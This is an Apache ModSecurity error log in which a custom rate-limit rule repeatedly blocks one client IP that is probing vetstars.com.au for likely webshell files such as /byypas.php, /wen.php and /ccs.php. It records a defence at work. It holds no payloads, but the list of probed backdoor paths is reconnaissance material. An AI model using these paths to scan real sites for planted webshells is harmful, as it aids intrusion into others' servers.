[Tue Mar 31 10:44:59.383268 2026] [:error] [pid 36982:tid 36988] [client 158.158.51.236:55184] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "acs1K_lMmeoQKN0r_GPerwAAAMM"]
[Tue Mar 31 10:44:59.944469 2026] [:error] [pid 36982:tid 36989] [client 158.158.51.236:5025] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "acs1K_lMmeoQKN0r_GPesAAAAMQ"]
[Tue Mar 31 10:45:00.504441 2026] [:error] [pid 6548:tid 6556] [client 158.158.51.236:49064] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "acs1LLgIz9HgMl9YwE7OmAAAAUY"]
[Tue Mar 31 10:45:01.155694 2026] [:error] [pid 41421:tid 41425] [client 158.158.51.236:63475] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "acs1LRSaDjY9kKFtUQCmiQAAAQE"]
[Tue Mar 31 10:45:01.712984 2026] [:error] [pid 36892:tid 36960] [client 158.158.51.236:5049] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "acs1LUyj9S4G0ek3O4LypAAAAIk"]
[Tue Mar 31 10:45:02.383844 2026] [:error] [pid 36982:tid 36998] [client 158.158.51.236:29727] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "acs1LvlMmeoQKN0r_GPeuwAAAM0"]
[Tue Mar 31 10:45:02.960476 2026] [:error] [pid 36982:tid 37005] [client 158.158.51.236:40749] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "acs1LvlMmeoQKN0r_GPevgAAANQ"]
[Tue Mar 31 10:45:03.483329 2026] [:error] [pid 36892:tid 36951] [client 158.158.51.236:48484] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "acs1L0yj9S4G0ek3O4LyqAAAAIA"]
[Tue Mar 31 10:45:04.060731 2026] [:error] [pid 36892:tid 36974] [client 158.158.51.236:45898] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "acs1MEyj9S4G0ek3O4LyqwAAAJc"]
[Tue Mar 31 10:45:04.572375 2026] [:error] [pid 36982:tid 37003] [client 158.158.51.236:61514] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "acs1MPlMmeoQKN0r_GPexQAAANI"]
[Tue Mar 31 10:45:05.407974 2026] [:error] [pid 6548:tid 6564] [client 158.158.51.236:4330] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/file.php"] [unique_id "acs1MbgIz9HgMl9YwE7OxQAAAU4"]
[Tue Mar 31 10:45:06.095117 2026] [:error] [pid 41421:tid 41429] [client 158.158.51.236:55175] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/file.php"] [unique_id "acs1MhSaDjY9kKFtUQCmnAAAAQU"]
[Tue Mar 31 10:45:07.260956 2026] [:error] [pid 41421:tid 41438] [client 158.158.51.236:58986] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/file.php"] [unique_id "acs1MxSaDjY9kKFtUQCmogAAAQ4"]
[Tue Mar 31 10:45:07.962268 2026] [:error] [pid 41421:tid 41443] [client 158.158.51.236:63432] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/file.php"] [unique_id "acs1MxSaDjY9kKFtUQCmpQAAARM"]
[Tue Mar 31 10:45:08.590451 2026] [:error] [pid 36982:tid 36989] [client 158.158.51.236:4306] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxw.php"] [unique_id "acs1NPlMmeoQKN0r_GPezgAAAMQ"]
[Tue Mar 31 10:45:09.599799 2026] [:error] [pid 6548:tid 6553] [client 158.158.51.236:40293] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxw.php"] [unique_id "acs1NbgIz9HgMl9YwE7O0AAAAUM"]
[Tue Mar 31 10:45:10.351521 2026] [:error] [pid 6548:tid 6568] [client 158.158.51.236:4213] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxw.php"] [unique_id "acs1NrgIz9HgMl9YwE7O2gAAAVI"]
[Tue Mar 31 10:45:11.103702 2026] [:error] [pid 36892:tid 36962] [client 158.158.51.236:63458] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxw.php"] [unique_id "acs1N0yj9S4G0ek3O4LysQAAAIs"]
[Tue Mar 31 10:45:11.854883 2026] [:error] [pid 36892:tid 36971] [client 158.158.51.236:4214] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "acs1N0yj9S4G0ek3O4LytAAAAJQ"]
[Tue Mar 31 10:45:12.773922 2026] [:error] [pid 41421:tid 41438] [client 158.158.51.236:63447] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "acs1OBSaDjY9kKFtUQCmqwAAAQ4"]
[Tue Mar 31 10:45:13.648540 2026] [:error] [pid 36892:tid 36960] [client 158.158.51.236:46366] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "acs1OUyj9S4G0ek3O4LyuQAAAIk"]
[Tue Mar 31 10:45:14.707457 2026] [:error] [pid 41421:tid 41436] [client 158.158.51.236:40294] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "acs1OhSaDjY9kKFtUQCmsQAAAQw"]
[Tue Mar 31 10:45:15.315702 2026] [:error] [pid 36892:tid 36973] [client 158.158.51.236:33507] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws87.php"] [unique_id "acs1O0yj9S4G0ek3O4LyvQAAAJY"]
[Tue Mar 31 10:45:16.159884 2026] [:error] [pid 36982:tid 36995] [client 158.158.51.236:37771] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws87.php"] [unique_id "acs1PPlMmeoQKN0r_GPe1wAAAMo"]
[Tue Mar 31 10:45:16.762752 2026] [:error] [pid 36982:tid 37003] [client 158.158.51.236:25772] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws87.php"] [unique_id "acs1PPlMmeoQKN0r_GPe2AAAANI"]
[Tue Mar 31 10:45:17.428406 2026] [:error] [pid 36982:tid 36996] [client 158.158.51.236:48455] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws87.php"] [unique_id "acs1PflMmeoQKN0r_GPe3AAAAMs"]
[Tue Mar 31 10:45:18.214277 2026] [:error] [pid 41421:tid 41437] [client 158.158.51.236:33525] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lm15.php"] [unique_id "acs1PhSaDjY9kKFtUQCmtgAAAQ0"]
[Tue Mar 31 10:45:18.924886 2026] [:error] [pid 36890:tid 36919] [client 158.158.51.236:40267] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lm15.php"] [unique_id "acs1Pp8FASPd_uH8z7d2QwAAABg"]
[Tue Mar 31 10:45:19.602116 2026] [:error] [pid 36982:tid 36987] [client 158.158.51.236:49035] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lm15.php"] [unique_id "acs1P_lMmeoQKN0r_GPe4QAAAMI"]
[Tue Mar 31 10:45:29.195340 2026] [:error] [pid 41421:tid 41426] [client 158.158.51.236:43653] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "acs1SRSaDjY9kKFtUQCmxgAAAQI"]
[Tue Mar 31 10:45:30.718957 2026] [:error] [pid 41421:tid 41438] [client 158.158.51.236:27852] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "acs1ShSaDjY9kKFtUQCmygAAAQ4"]
[Tue Mar 31 10:45:32.047649 2026] [:error] [pid 36890:tid 36907] [client 158.158.51.236:17646] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "acs1TJ8FASPd_uH8z7d2WwAAAAw"]
[Tue Mar 31 10:45:33.158437 2026] [:error] [pid 41421:tid 41426] [client 158.158.51.236:62069] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/green.php"] [unique_id "acs1TRSaDjY9kKFtUQCmzQAAAQI"]
[Tue Mar 31 10:45:33.722649 2026] [:error] [pid 41421:tid 41445] [client 158.158.51.236:63524] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/green.php"] [unique_id "acs1TRSaDjY9kKFtUQCm0QAAARU"]
[Tue Mar 31 10:45:34.338560 2026] [:error] [pid 41421:tid 41448] [client 158.158.51.236:54213] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/green.php"] [unique_id "acs1ThSaDjY9kKFtUQCm1QAAARg"]
[Tue Mar 31 10:45:35.211151 2026] [:error] [pid 36890:tid 36896] [client 158.158.51.236:46366] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/green.php"] [unique_id "acs1T58FASPd_uH8z7d2XgAAAAE"]
[Tue Mar 31 10:45:35.929858 2026] [:error] [pid 36892:tid 36968] [client 158.158.51.236:50545] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/albin.php"] [unique_id "acs1T0yj9S4G0ek3O4Ly2AAAAJE"]
[Tue Mar 31 10:45:36.705181 2026] [:error] [pid 36891:tid 36944] [client 158.158.51.236:41971] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/albin.php"] [unique_id "acs1UJJhiMaJUqoqfl5RtwAAAFQ"]
[Tue Mar 31 10:45:37.450818 2026] [:error] [pid 36982:tid 36996] [client 158.158.51.236:53720] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/albin.php"] [unique_id "acs1UflMmeoQKN0r_GPfDgAAAMs"]
[Tue Mar 31 10:45:38.186475 2026] [:error] [pid 41421:tid 41433] [client 158.158.51.236:59048] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/albin.php"] [unique_id "acs1UhSaDjY9kKFtUQCm4QAAAQk"]
[Tue Mar 31 10:45:38.906817 2026] [:error] [pid 36892:tid 36975] [client 158.158.51.236:46897] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "acs1Ukyj9S4G0ek3O4Ly3wAAAJg"]
[Tue Mar 31 10:45:39.499156 2026] [:error] [pid 36892:tid 36971] [client 158.158.51.236:41905] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "acs1U0yj9S4G0ek3O4Ly4gAAAJQ"]
[Tue Mar 31 10:45:40.328629 2026] [:error] [pid 36890:tid 36905] [client 158.158.51.236:45842] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "acs1VJ8FASPd_uH8z7d2ZAAAAAo"]
[Tue Mar 31 10:45:41.252318 2026] [:error] [pid 36982:tid 37000] [client 158.158.51.236:35327] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "acs1VflMmeoQKN0r_GPfFQAAAM8"]
[Tue Mar 31 10:45:41.899214 2026] [:error] [pid 6548:tid 6563] [client 158.158.51.236:51810] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inege.php"] [unique_id "acs1VbgIz9HgMl9YwE7PZgAAAU0"]
[Tue Mar 31 10:45:42.666120 2026] [:error] [pid 36890:tid 36909] [client 158.158.51.236:20624] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inege.php"] [unique_id "acs1Vp8FASPd_uH8z7d2ZgAAAA4"]
[Tue Mar 31 10:45:43.396668 2026] [:error] [pid 36982:tid 36996] [client 158.158.51.236:36461] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inege.php"] [unique_id "acs1V_lMmeoQKN0r_GPfJQAAAMs"]
[Tue Mar 31 10:45:44.249015 2026] [:error] [pid 36982:tid 36995] [client 158.158.51.236:41874] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inege.php"] [unique_id "acs1WPlMmeoQKN0r_GPfKQAAAMo"]
[Tue Mar 31 10:45:46.725103 2026] [:error] [pid 36982:tid 37001] [client 158.158.51.236:51074] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "acs1WvlMmeoQKN0r_GPfNwAAANA"]
[Tue Mar 31 10:45:48.360376 2026] [:error] [pid 41421:tid 41434] [client 158.158.51.236:57213] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "acs1XBSaDjY9kKFtUQCm7gAAAQo"]
[Tue Mar 31 10:45:49.492754 2026] [:error] [pid 41421:tid 41433] [client 158.158.51.236:18133] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "acs1XRSaDjY9kKFtUQCm8AAAAQk"]
[Tue Mar 31 10:45:50.806198 2026] [:error] [pid 6548:tid 6562] [client 158.158.51.236:57198] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "acs1XrgIz9HgMl9YwE7PgQAAAUw"]
[Tue Mar 31 10:45:51.395818 2026] [:error] [pid 6548:tid 6563] [client 158.158.51.236:46863] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "acs1X7gIz9HgMl9YwE7PhAAAAU0"]
[Tue Mar 31 10:45:52.134619 2026] [:error] [pid 36890:tid 36906] [client 158.158.51.236:51822] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "acs1YJ8FASPd_uH8z7d2cAAAAAs"]
[Tue Mar 31 10:45:52.811127 2026] [:error] [pid 36892:tid 36954] [client 158.158.51.236:32923] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "acs1YEyj9S4G0ek3O4Ly8QAAAIM"]
[Tue Mar 31 10:45:53.501439 2026] [:error] [pid 6548:tid 6564] [client 158.158.51.236:4098] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "acs1YbgIz9HgMl9YwE7PiQAAAU4"]
